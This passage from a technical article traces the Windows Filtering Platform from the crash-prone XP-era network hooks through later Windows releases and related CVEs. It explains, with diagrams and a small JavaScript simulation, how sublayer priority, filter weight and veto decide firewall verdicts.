&lt;p&gt;That is the design motivation for WFP in twelve words. The XP-era hook zoo was not a security architecture; it was a steady source of bluescreens. Microsoft&apos;s documentation reads, looking back at the era from Vista: &quot;Starting in Windows Server 2008 and Windows Vista, the firewall hook and the filter hook drivers are not available; applications that were using these drivers should use WFP instead&quot; [@wfp-start]. As Forshaw later summarised it, &quot;these firewalls were implemented by hooking into Network Driver Interface Specification (NDIS) drivers or implementing user-mode Winsock Service Providers but this was complex and error prone&quot; [@forshaw-2021].&lt;/p&gt;

flowchart TD
    NIC[Physical NIC] --&amp;gt; MINI[NDIS miniport driver]
    MINI --&amp;gt; IM[&quot;NDIS 5.x intermediate driver&lt;br /&gt;(hook #1: NDIS-IM)&quot;]
    IM --&amp;gt; TCPIP[TCPIP.SYS]
    TCPIP -.-&amp;gt; IPF[&quot;\Device\Ipfilterdriver&lt;br /&gt;(hook #2: filter-hook IOCTL)&quot;]
    TCPIP --&amp;gt; TDI[&quot;TDI transport providers&quot;]
    TDI --&amp;gt; TDIF[&quot;TDI filter driver&lt;br /&gt;(hook #3: TDI filter)&quot;]
    TDIF --&amp;gt; AFD[AFD.SYS]
    AFD --&amp;gt; WS2[ws2_32.dll Winsock]
    WS2 --&amp;gt; LSP[&quot;Winsock LSP chain&lt;br /&gt;(hook #4: in-process LSP)&quot;]
    LSP --&amp;gt; APP[Application]
&lt;p&gt;So why didn&apos;t Microsoft just fix the hooks? Why a whole new platform?&lt;/p&gt;
&lt;h2&gt;3. Why Four Hooks Could Not Be Saved&lt;/h2&gt;
&lt;p&gt;Picture a Windows XP machine in 2005, four months past SP2. The user, doing what users do, installs two antivirus suites: one from a free trial that came with the laptop, one from work. Each ships a kernel driver. Each one calls &lt;code&gt;IOCTL_PF_SET_EXTENSION_POINTER&lt;/code&gt; on &lt;code&gt;\Device\Ipfilterdriver&lt;/code&gt; to register a packet-inspection callback [@ipfilter-legacy]. An hour later the machine bluescreens during a Windows Update download.&lt;/p&gt;
&lt;p&gt;The Microsoft documentation for the IOCTL is precise about what the call does (&quot;registers filter-hook callback functions to the IP filter driver to inform the IP filter driver to call those filter hook callbacks for every IP packet that is received or transmitted&quot;) and silent about what happens if a second driver makes the same call before the first one unregisters [@ipfilter-legacy]. The page does not document chaining semantics. There is no mention of a registration list, a callback array, a refcount, or a priority. The driver writers got to invent that themselves, separately, in shipped products. The crash reports speak for the result.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft Learn documents the filter-hook registration mechanism on &lt;code&gt;\Device\Ipfilterdriver&lt;/code&gt; exactly once, in the legacy reference for &lt;code&gt;IOCTL_PF_SET_EXTENSION_POINTER&lt;/code&gt; [@ipfilter-legacy]. The page tells you how to register a callback. It does not tell you what happens when two callers register concurrently. That gap is the architectural bug. The 12-percent-of-OS-crashes number from WinHEC 2006 is the bill [@pawar-stenson-winhec].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each of the four pre-WFP hooks had a specific architectural flaw. Together those flaws define what WFP had to be.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filter-hook (IpFilterDriver).&lt;/strong&gt; One callback pointer per machine; no arbitration; IPv4 only; network layer only. Two security products fight over one callback, and there is no documented way to chain them. Failure: arbitration impossible, vendor coexistence accidental.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NDIS 5.x intermediate driver.&lt;/strong&gt; High complexity, no application identity (it sees frames, not processes), install-order-dependent binding chains. Microsoft&apos;s own assessment of the model, written for the LWF replacement that came in 2006, is: &quot;Filter drivers are easier to implement and have less processing overhead than NDIS intermediate drivers&quot; [@ndis-filter]. Failure: too low for app-aware policy, too painful to write.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TDI filter.&lt;/strong&gt; Preserved application identity. Vetoed connections at the transport boundary. Architecturally the cleanest of the four. Then Microsoft deprecated TDI in Vista [@tdi-legacy] and the substrate evaporated. Failure: the floor disappeared.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Winsock LSP.&lt;/strong&gt; In-process. User mode. Bypassable by any program that called &lt;code&gt;Nt*&lt;/code&gt; system services directly. And, as the Microsoft categorisation page documents, a buggy LSP that crashes LSASS will take down the entire machine [@lsp-categories]. Failure: in process, bypassable, lethal when buggy.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pre-WFP hook&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;App identity&lt;/th&gt;
&lt;th&gt;Multi-vendor&lt;/th&gt;
&lt;th&gt;Failure mode&lt;/th&gt;
&lt;th&gt;Successor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Filter-hook (&lt;code&gt;IpFilterDriver&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Network (L3)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No documented contract for chaining&lt;/td&gt;
&lt;td&gt;Arbitration impossible [@ipfilter-legacy]&lt;/td&gt;
&lt;td&gt;WFP filter at &lt;code&gt;INBOUND_IPPACKET_*&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NDIS 5.x intermediate&lt;/td&gt;
&lt;td&gt;Data link (L2)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Install-order dependent&lt;/td&gt;
&lt;td&gt;Too low for app-aware rules; complex [@ndis-filter]&lt;/td&gt;
&lt;td&gt;NDIS Lightweight Filter (LWF)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TDI filter&lt;/td&gt;
&lt;td&gt;Transport (L4)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (chainable)&lt;/td&gt;
&lt;td&gt;Substrate deprecated in Vista [@tdi-legacy]&lt;/td&gt;
&lt;td&gt;WFP ALE + Winsock Kernel (WSK)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Winsock LSP&lt;/td&gt;
&lt;td&gt;Above sockets (user mode)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Chainable in-process&lt;/td&gt;
&lt;td&gt;In-process bypass; lsass blast radius [@lsp-categories]&lt;/td&gt;
&lt;td&gt;WFP ALE; LSP retained for non-security uses&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Walk those failure modes column by column and a design constraint set falls out. Whatever Microsoft was going to build had to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Arbitrate multiple vendors deterministically. No more &quot;first IOCTL wins.&quot;&lt;/li&gt;
&lt;li&gt;Carry application identity through to the inspection point.&lt;/li&gt;
&lt;li&gt;Concentrate inspection at one platform, not four.&lt;/li&gt;
&lt;li&gt;Run out of process where possible. A buggy callout cannot be allowed to take down LSASS.&lt;/li&gt;
&lt;li&gt;Resolve conflicts predictably, with rules a third-party developer can read and design against.&lt;/li&gt;
&lt;/ol&gt;

sequenceDiagram
    participant A as Vendor A installer
    participant B as Vendor B installer
    participant K as \Device\Ipfilterdriver
    participant P as IP packet path
    A-&amp;gt;&amp;gt;K: IOCTL_PF_SET_EXTENSION_POINTER(callback_A)
    Note over K: callback = callback_A
    B-&amp;gt;&amp;gt;K: IOCTL_PF_SET_EXTENSION_POINTER(callback_B)
    Note over K: callback = callback_B (no chaining contract)
    P-&amp;gt;&amp;gt;K: packet arrives
    K-&amp;gt;&amp;gt;B: callback_B(packet)
    Note over A: callback_A no longer invoked, vendor A stops working
    A-&amp;gt;&amp;gt;K: re-register callback_A
    Note over K: race: pointer flips again
    K--xP: inconsistent state, BSOD
&lt;p&gt;Vista shipped November 2006. What did the architects build to satisfy all five constraints at once?&lt;/p&gt;
&lt;h2&gt;4. The Evolution -- Five Generations of WFP&lt;/h2&gt;
&lt;p&gt;May 23-25, 2006, Seattle. Madhurima Pawar, Program Manager in Windows Networking, and Eric Stenson, Development Lead in Windows Networking, stand in front of a hostile room of third-party firewall ISVs at WinHEC and present &quot;Windows Filtering Platform And Winsock Kernel: Next-Generation Kernel Networking APIs.&quot; Slide 6 carries the design motivation that this article opened on: 12 percent of all OS crashes are firewall and AV conflicts. Slide 7 carries the architecture diagram [@pawar-stenson-winhec]. Six months later Vista shipped, with the filter-hook and firewall-hook drivers gone from the system and a new platform in their place [@wfp-start].Windows Vista was released to manufacturing on November 8, 2006, and made generally available to consumers on January 30, 2007 [@wiki-vista].&lt;/p&gt;
&lt;h3&gt;Generation 1: WFP v1 in Vista and Server 2008&lt;/h3&gt;
&lt;p&gt;WFP v1 introduced five named components. They are still the components the platform ships today. Microsoft&apos;s own &quot;About Windows Filtering Platform&quot; page enumerates them: the Filter Engine (&quot;the core multi-layer filtering infrastructure, hosted in both kernel-mode and user-mode&quot;); the Base Filtering Engine (&quot;a service that controls the operation of the Windows Filtering Platform&quot;); shims (&quot;kernel-mode components that reside between the kernel-mode network stack and the filter engine&quot;); callout drivers; and the management API [@wfp-about].&lt;/p&gt;

The core of WFP. Microsoft&apos;s WDK reference defines it as &quot;a component of the Windows Filtering Platform that stores filters and performs filter arbitration. Filters are added to the filter engine at designated filtering layers so that the filter engine can perform the desired filtering action (permit, drop, or a callout). If a filter in the filter engine specifies a callout for the filter&apos;s action, the filter engine calls the callout&apos;s classifyFn function&quot; [@wfp-filter-engine]. The engine is hosted in both kernel mode and user mode; its kernel classification path runs primarily inside `NETIO.SYS` [@forshaw-2021].

A kernel-mode bridge between a specific network stack module and the WFP filter engine. Vista shipped six shims: the Application Layer Enforcement (ALE) shim, the Transport Layer Module shim, the Network Layer Module shim, the ICMP Error shim, the Discard shim, and the Stream shim [@wfp-about]. Each shim invokes the filter engine at one or more `FWPM_LAYER_*` identifiers when traffic crosses it.
&lt;p&gt;The most consequential of those six shims is ALE.&lt;/p&gt;

&quot;A set of Windows Filtering Platform (WFP) kernel-mode layers that are used for stateful filtering&quot; [@wfp-ale]. ALE keeps per-connection state across packets, and -- this is the line that separates ALE from the rest of the platform -- &quot;ALE layers are the only WFP layers where network traffic can be filtered based on the application identity -- using a normalized file name -- and based on the user identity -- using a security descriptor&quot; [@wfp-ale]. ALE is why per-application firewall rules became possible in 2006. It is also the layer that classifies AppContainer connections in modern Windows.
&lt;p&gt;ALE pays for stateful filtering with bandwidth, not latency. The Microsoft Learn page makes the performance claim explicit: at ALE layers, the platform &quot;minimally impacts network performance by processing only the first packet in a connection&quot; [@wfp-about]. Subsequent packets ride the existing flow state. That choice is what lets a per-process firewall rule scale to gigabit network rates.&lt;/p&gt;

April 12, 2010. Microsoft ships a Windows Filtering Platform driver hotfix rollup, KB981889, that bundles three previously-separate fixes into one package. The Microsoft Support page enumerates them verbatim [@kb981889]:&lt;p&gt;&lt;em&gt;KB976759 -- &quot;WFP drivers may cause a failure to disconnect the RDP connection to a multiprocessor computer.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;KB979278 -- &quot;Using two Windows Filtering Platform (WFP) drivers causes a computer to crash.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;KB979223 -- &quot;A nonpaged pool memory leak occurs when you use a WFP callout driver.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Read KB979278 again. &lt;em&gt;Two WFP drivers cause a crash.&lt;/em&gt; The XP-era &quot;two AV vendors fight&quot; bug had survived into the new platform, in a different shape: the WFP arbitration model held -- the conflict between filters was deterministic -- but the &lt;em&gt;callout driver lifecycle&lt;/em&gt; had not yet been hardened. That distinction is the structural seed of the BFE elevation-of-privilege CVE class fifteen years later. Section 8 returns to it.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Generation 2: WFP v2 in Windows 8 and Server 2012&lt;/h3&gt;
&lt;p&gt;Windows 8 and Server 2012 shipped a refresh in 2012. The &quot;What&apos;s New in Windows Filtering Platform&quot; page enumerates the delta in four bullets [@wfp-whatsnew]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Layer 2 filtering: Provides access to the L2 (MAC) layer, allowing filtering of traffic at that layer. vSwitch filtering: Allows packets traversing a vSwitch to be inspected and/or modified. WFP filters or callouts can be used at the vSwitch ingress and egress. App container management: Allows access to information about app containers and network isolation connectivity issues. IPsec updates: Extended IPsec functionality including connection state monitoring, certificate selection, and key management.&quot; [@wfp-whatsnew]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Four features, but the second one -- vSwitch filtering -- is the architecturally significant one. With Windows 8, WFP slid under the Hyper-V Extensible Switch. From that release forward, every Hyper-V VM&apos;s packet path is a WFP-extensible classification problem, and the same kernel-mode platform that filters host traffic also filters tenant traffic [@wfp-whatsnew].&lt;/p&gt;
&lt;h3&gt;Generation 3: Windows 10 ALE redirection (2015-2021)&lt;/h3&gt;
&lt;p&gt;The Windows 10 family added two ALE layers that did not exist in Vista: &lt;code&gt;CONNECT_REDIRECT&lt;/code&gt; and &lt;code&gt;BIND_REDIRECT&lt;/code&gt;. The &quot;ALE Layers&quot; page lists them at the bottom of its enumeration [@wfp-ale-layers]. Their job is exactly what their names say -- redirect an outbound connection (proxy it through a different address), or redirect a bind (force a process to bind to a different local endpoint). Web proxies, transparent forwarders, and AppContainer policy now had a kernel-side hook that did not exist before. Forshaw&apos;s 2021 Project Zero post documents how the modern Windows Defender Firewall pipeline runs through these layers end-to-end: &quot;MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel... The evaluation is handled primarily by the NETIO driver as well as registered callout drivers&quot; [@forshaw-2021].&lt;/p&gt;
&lt;h3&gt;Generation 4: URO and the CVE drumbeat (2022-2024)&lt;/h3&gt;
&lt;p&gt;The most recent generation comes in two parallel tracks. The first is a hardware offload feature. NDIS 6.89, the version of the NDIS driver interface that &quot;is included in Windows 11, version 24H2 and Windows Server 2022 and later,&quot; adds support for UDP Receive Segment Coalescing Offload, &quot;this hardware offload enables NICs to coalesce UDP receive segments. NICs can combine UDP datagrams from the same flow that match a set of rules into a logically contiguous buffer. These combined datagrams are then indicated to the Windows networking stack as a single large packet&quot; [@ndis-689]. Windows 11 24H2 reached general availability on October 1, 2024 [@wiki-win11-24h2].&lt;/p&gt;
&lt;p&gt;The second track is a sequence of elevation-of-privilege CVEs in the Base Filtering Engine. CVE-2023-29368, published June 14, 2023, is a CWE-415 double-free with a CVSS base of 7.0 [@nvd-2023-29368]. CVE-2024-38034, published July 9, 2024, is a CWE-190 integer overflow with a CVSS base of 7.8 [@nvd-2024-38034]. The 2024 vulnerability&apos;s attack-complexity sub-score dropped from &lt;code&gt;AC:H&lt;/code&gt; (high) in 2023 to &lt;code&gt;AC:L&lt;/code&gt; (low) in 2024. The exploitability sub-score rose from 1.0 to 1.8 over the same interval [@nvd-2023-29368][@nvd-2024-38034]. The trend line is that BFE EoP is getting easier to weaponise, not harder.&lt;/p&gt;

flowchart TD
    UM[&quot;User-mode application&lt;br /&gt;(e.g. wf.msc / netsh / MpsSvc)&quot;] --&amp;gt; API[&quot;Fwpm* management API&lt;br /&gt;(fwpuclnt.dll)&quot;]
    API --&amp;gt; BFE[&quot;Base Filtering Engine service&lt;br /&gt;(bfe, user mode)&quot;]
    BFE --&amp;gt; FE[&quot;Filter Engine&lt;br /&gt;(kernel + user mode)&quot;]
    FE --&amp;gt; KCLI[&quot;fwpkclnt.sys&lt;br /&gt;(kernel-mode WFP client / export driver)&quot;]
    FE --&amp;gt; NETIO[&quot;NETIO.SYS&lt;br /&gt;(classification path)&quot;]
    NETIO --&amp;gt; ALE[&quot;ALE shim&quot;]
    NETIO --&amp;gt; TLM[&quot;Transport-Layer shim&quot;]
    NETIO --&amp;gt; NLM[&quot;Network-Layer shim&quot;]
    NETIO --&amp;gt; STREAM[&quot;Stream shim&quot;]
    NETIO --&amp;gt; ICMP[&quot;ICMP-Error shim&quot;]
    NETIO --&amp;gt; DISC[&quot;Discard shim&quot;]
    ALE --&amp;gt; COUT[&quot;Callout drivers&lt;br /&gt;(IPsec, in-box stealth, EDR, 3rd-party)&quot;]
    TLM --&amp;gt; COUT
    NLM --&amp;gt; COUT
    STREAM --&amp;gt; COUT
    ICMP --&amp;gt; COUT
    DISC --&amp;gt; COUT

timeline
    title Five generations of the Windows Filtering Platform
    2006-11 : Windows Vista / Server 2008 -- WFP v1 (filter engine, BFE, six shims, callouts)
    2010-04 : KB981889 hotfix rollup -- three named WFP driver bugs, including two-WFP-drivers crash
    2012-09 : Windows 8 / Server 2012 -- WFP v2 (L2, vSwitch, AppContainer, IPsec extensions)
    2015-21 : Windows 10 -- ALE CONNECT_REDIRECT / BIND_REDIRECT, AppContainer-aware ALE
    2023-06 : CVE-2023-29368 published (CWE-415 double-free, CVSS 7.0)
    2024-07 : CVE-2024-38034 published (CWE-190 integer overflow, CVSS 7.8)
    2024-10 : Windows 11 24H2 -- NDIS 6.89 adds URO (UDP receive coalescing)
&lt;p&gt;Timeline sources, in row order: WinHEC 2006 and the Vista release on the Microsoft Learn WFP start page [@pawar-stenson-winhec][@wfp-start]; KB981889 [@kb981889]; the &quot;What&apos;s New&quot; page [@wfp-whatsnew]; ALE Layers [@wfp-ale-layers] and Forshaw 2021 [@forshaw-2021]; the NVD records for CVE-2023-29368 and CVE-2024-38034 [@nvd-2023-29368][@nvd-2024-38034]; NDIS 6.89 introduction and the Windows 11 24H2 GA date [@ndis-689][@wiki-win11-24h2].&lt;/p&gt;
&lt;p&gt;Five generations, one engine, no replacements. Why does the same engine still ship in 2026? What is the architectural insight that made it last?&lt;/p&gt;
&lt;h2&gt;5. Sublayers, Weights, and Veto -- The Arbitration Insight&lt;/h2&gt;
&lt;p&gt;Here is the question every Windows administrator has wondered: how do two competing security products coexist on the same machine without crashing each other? Before Vista the honest answer was, &quot;they didn&apos;t, mostly, and when they did it was an accident.&quot; After Vista the honest answer is, &quot;WFP arbitrates them deterministically.&quot; The mechanism is the load-bearing piece of the platform, and it is built out of two ideas.&lt;/p&gt;
&lt;h3&gt;Idea 1: Sublayers and weights&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s &quot;Filter Arbitration&quot; page describes the algorithm in two sentences that almost no Windows administrator has read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Each filter layer is divided into sub-layers ordered by priority (also called weight). Network traffic traverses sub-layers from the highest priority to the lowest priority... Within each sub-layer, filters are ordered by weight. Network traffic is indicated to matching filters from highest weight to lowest weight.&quot; [@wfp-arbitration]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A layer (say, &lt;code&gt;FWPM_LAYER_ALE_AUTH_CONNECT_V4&lt;/code&gt;, the place where outbound IPv4 TCP connection authorization is decided) contains an ordered list of sublayers. Each sublayer contains an ordered list of filters. Sublayer priority orders the sublayers. Filter weight orders the filters within a sublayer. Network traffic walks the structure top-down, sublayer by sublayer, filter by filter, until a terminal action is reached.&lt;/p&gt;

A named, priority-ordered subdivision of a WFP filtering layer. Each sublayer owns a list of filters and has its own GUID. Microsoft&apos;s recommendation, in the filter-weight documentation, is that independent vendors &quot;create their own sublayer by using `FwpmSubLayerAdd0`&quot; rather than register filters into another vendor&apos;s sublayer [@wfp-weight]. Sublayer priority is what lets two vendors coexist without interfering.

A 64-bit value attached to a filter that orders evaluation within a sublayer. The &quot;Filter Weight Assignment&quot; page documents three legal assignment styles: &quot;Set the weight to an FWP_UINT64. BFE uses the supplied weight as is. Set the weight to FWP_EMPTY. BFE automatically generates a weight in the range [0, 2^60). Set the weight to an FWP_UINT8 in the range [0, 15]. BFE uses the supplied weight as a weight range identifier&quot; [@wfp-weight]. Sixteen high-order weight ranges, $[0, 2^{60})$ within each, give vendors a way to carve out non-overlapping neighbourhoods.
&lt;p&gt;The mathematical model is simpler than the prose suggests. Filter weight is an element of $[0, 2^{64})$. A filter at weight $w_1$ runs before a filter at weight $w_2$ inside the same sublayer if $w_1 &amp;gt; w_2$. Sublayer priority orders the sublayers themselves. When a vendor registers its sublayer at, say, priority 0x1000 and chooses filters in the weight range $[2^{60}, 2^{61})$, that vendor has a deterministic neighbourhood that no other vendor will trample, provided the other vendors follow Microsoft&apos;s recommendation to call &lt;code&gt;FwpmSubLayerAdd0&lt;/code&gt; and use their own sublayer.The 16-range partitioning via &lt;code&gt;FWP_UINT8&lt;/code&gt; weights is the mechanism that the platform team baked in to give vendors a coordination protocol without requiring vendors to talk to each other. Microsoft Learn&apos;s recommendation, verbatim: &quot;This issue can be prevented by having callouts create their own sublayer by using &lt;code&gt;FwpmSubLayerAdd0&lt;/code&gt;&quot; [@wfp-weight].&lt;/p&gt;
&lt;h3&gt;Idea 2: Block-overrides-Permit with Veto&lt;/h3&gt;
&lt;p&gt;Filter arbitration is actually two passes, not one. Within a single sublayer, the engine evaluates the filters that match in weight order from highest to lowest, and stops at the first filter that returns Permit or Block. That first matching filter wins; lower-weight filters in the same sublayer never run. The engine then performs the same pass on the next sublayer down. Once every sublayer has produced a verdict, the BFE composes those per-sublayer verdicts into one per-layer decision -- and that is where Block-over-Permit and the soft/hard override flag come in. Filter Arbitration states the second pass:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;&apos;Block&apos; overrides &apos;Permit&apos;. &apos;Block&apos; is final (cannot be overridden) and stops the evaluation. The packet is discarded.&quot; [@wfp-arbitration]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&quot;Block&quot; and &quot;Permit&quot; each come in two variants. The variant is set by a per-action flag, &lt;code&gt;FWPS_RIGHT_ACTION_WRITE&lt;/code&gt;, in the callout&apos;s classify-output structure: &quot;If the flag is set, it indicates that the action can be overridden. If the flag is absent, the action cannot be overridden&quot; [@wfp-arbitration]. The four-cell table below is the override-policy table the BFE uses to compose per-sublayer verdicts into one layer-level action.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Override allowed?&lt;/th&gt;
&lt;th&gt;Common name&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Permit + &lt;code&gt;FWPS_RIGHT_ACTION_WRITE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Soft permit&lt;/td&gt;
&lt;td&gt;A lower-priority sublayer&apos;s verdict (composed later by the BFE) may overturn it [@wfp-arbitration]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permit, flag absent&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Hard permit&lt;/td&gt;
&lt;td&gt;Final permit; only a callout Veto in another sublayer can block. [@wfp-arbitration]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block + &lt;code&gt;FWPS_RIGHT_ACTION_WRITE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Soft block&lt;/td&gt;
&lt;td&gt;A lower-priority sublayer may overturn it, but Block-over-Permit still applies if no override fires [@wfp-arbitration]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block, flag absent&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Hard block&lt;/td&gt;
&lt;td&gt;Final block. Evaluation stops. Packet discarded. [@wfp-arbitration]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The soft/hard distinction is therefore a cross-sublayer property, not a within-sublayer one. Within a sublayer the rule is &quot;first match wins&quot;; only the composition step between sublayers consults the override flag.&lt;/p&gt;
&lt;p&gt;There is a fifth case. A callout that returns &lt;code&gt;FWP_ACTION_BLOCK&lt;/code&gt; while it could have returned &lt;code&gt;FWP_ACTION_PERMIT&lt;/code&gt; is exercising what the documentation calls a &lt;em&gt;Veto&lt;/em&gt;. The callout has been given the opportunity to authorize a packet and has refused. That is how a third-party EDR&apos;s deep-inspection callout can refuse a flow that an in-box filter has already soft-permitted, without ever knowing the soft-permit happened: the engine offers the packet, the callout says no, and the no is final.&lt;/p&gt;

sequenceDiagram
    participant E as Filter engine
    participant S1 as Sublayer @ priority 100 (no matching filter)
    participant S2 as Sublayer @ priority 50 (winner: soft permit)
    participant S3 as Sublayer @ priority 10 (winner: hard permit)
    participant C as Deep-inspection callout (registered in default sublayer)
    E-&amp;gt;&amp;gt;S1: evaluate highest-priority sublayer
    S1--&amp;gt;&amp;gt;E: no matching filter (Continue)
    E-&amp;gt;&amp;gt;S2: evaluate next sublayer
    S2--&amp;gt;&amp;gt;E: Soft Permit (FWPS_RIGHT_ACTION_WRITE)
    Note over E: tentative layer action = Permit (overridable)
    E-&amp;gt;&amp;gt;S3: evaluate next sublayer
    S3--&amp;gt;&amp;gt;E: Hard Permit (no override flag)
    Note over E: layer action = Permit (final unless a callout vetoes)
    E-&amp;gt;&amp;gt;C: invoke callout for the permitted flow
    C--&amp;gt;&amp;gt;E: Veto -&amp;gt; Block (terminal)
    Note over E: final layer-level action = Block
&lt;p&gt;Walk a worked example. An &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; process (an Edge tab, say, or any process launched with &lt;code&gt;CreateProcess&lt;/code&gt; and an AppContainer SID token) tries to open an outbound TCP connection to &lt;code&gt;203.0.113.5:443&lt;/code&gt;. The Windows TCP/IP stack invokes the ALE shim, which classifies the connection request at &lt;code&gt;FWPM_LAYER_ALE_AUTH_CONNECT_V4&lt;/code&gt;. The filter engine walks the sublayers at that layer from highest priority to lowest. Within each sublayer, filters fire highest-weight-first, and the first matching Permit or Block ends evaluation in that sublayer. If a vendor EDR has placed a Veto-style deep-inspection callout in its own sublayer, the callout runs and can deny the connection regardless of what any other sublayer would have done. If no filter explicitly permits the AppContainer with the matching capability SID (&lt;code&gt;internetClient&lt;/code&gt;, &lt;code&gt;internetClientServer&lt;/code&gt;, or &lt;code&gt;privateNetworkClientServer&lt;/code&gt;), the &quot;Block Outbound Default Rule&quot; filter in the firewall&apos;s default sublayer fires last and the connection is denied [@forshaw-2021].&lt;/p&gt;
&lt;p&gt;{`
// Faithful translation of the Microsoft Learn &quot;Filter Arbitration&quot; algorithm
// for the cross-sublayer composition pass. The within-sublayer pass (not
// shown) returns one verdict per sublayer using a first-match-wins rule on
// weight-ordered filters. This function composes those per-sublayer verdicts
// into the layer-level action using FWPS_RIGHT_ACTION_WRITE semantics.
// Source: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration&quot; rel=&quot;noopener&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;const SOFT_PERMIT = { action: &apos;Permit&apos;, override: true  };
const HARD_PERMIT = { action: &apos;Permit&apos;, override: false };
const SOFT_BLOCK  = { action: &apos;Block&apos;,  override: true  };
const HARD_BLOCK  = { action: &apos;Block&apos;,  override: false };&lt;/p&gt;
&lt;p&gt;// Each element is the winning verdict from one sublayer, ordered by sublayer
// priority from highest to lowest.
const sublayerVerdicts = [
  // Vendor EDR deep-inspection callout, hard block on a known-bad destination
  { sublayer: &apos;EDR-veto&apos;,     priority: 100n, match: (pkt) =&amp;gt; pkt.dst === &apos;203.0.113.5&apos;,
                              verdict: () =&amp;gt; HARD_BLOCK },
  // Windows Defender Firewall app rule, allow-with-override
  { sublayer: &apos;WDF-allow&apos;,    priority:  50n, match: () =&amp;gt; true,
                              verdict: () =&amp;gt; SOFT_PERMIT },
  // Block Outbound Default Rule (BFE default sublayer)
  { sublayer: &apos;block-default&apos;,priority:  10n, match: () =&amp;gt; true,
                              verdict: () =&amp;gt; HARD_BLOCK },
];&lt;/p&gt;
&lt;p&gt;function composeAcrossSublayers(packet, sublayers) {
  // Higher priority composes first
  const ordered = [...sublayers].sort((a, b) =&amp;gt; Number(b.priority - a.priority));
  let tentative = null;
  for (const s of ordered) {
    if (!s.match(packet)) continue;
    const v = s.verdict();
    if (!v.override) {
      // Hard action: final, composition stops
      return { decision: v.action, by: s.sublayer };
    }
    // Soft action: remember, but keep composing in case a lower-priority
    // sublayer issues a hard verdict or a Block (Block overrides Permit).
    if (tentative === null || v.action === &apos;Block&apos;) {
      tentative = { decision: v.action, by: s.sublayer };
    }
  }
  return tentative ?? { decision: &apos;Permit&apos;, by: &apos;no-match-default&apos; };
}&lt;/p&gt;
&lt;p&gt;console.log(composeAcrossSublayers({ dst: &apos;203.0.113.5&apos; }, sublayerVerdicts));
// -&amp;gt; { decision: &apos;Block&apos;, by: &apos;EDR-veto&apos; }  (hard block at priority 100)&lt;/p&gt;
&lt;p&gt;console.log(composeAcrossSublayers({ dst: &apos;198.51.100.7&apos; }, sublayerVerdicts));
// -&amp;gt; { decision: &apos;Block&apos;, by: &apos;block-default&apos; } (soft permit overridden by hard block)
`}&lt;/p&gt;
&lt;blockquote&gt;
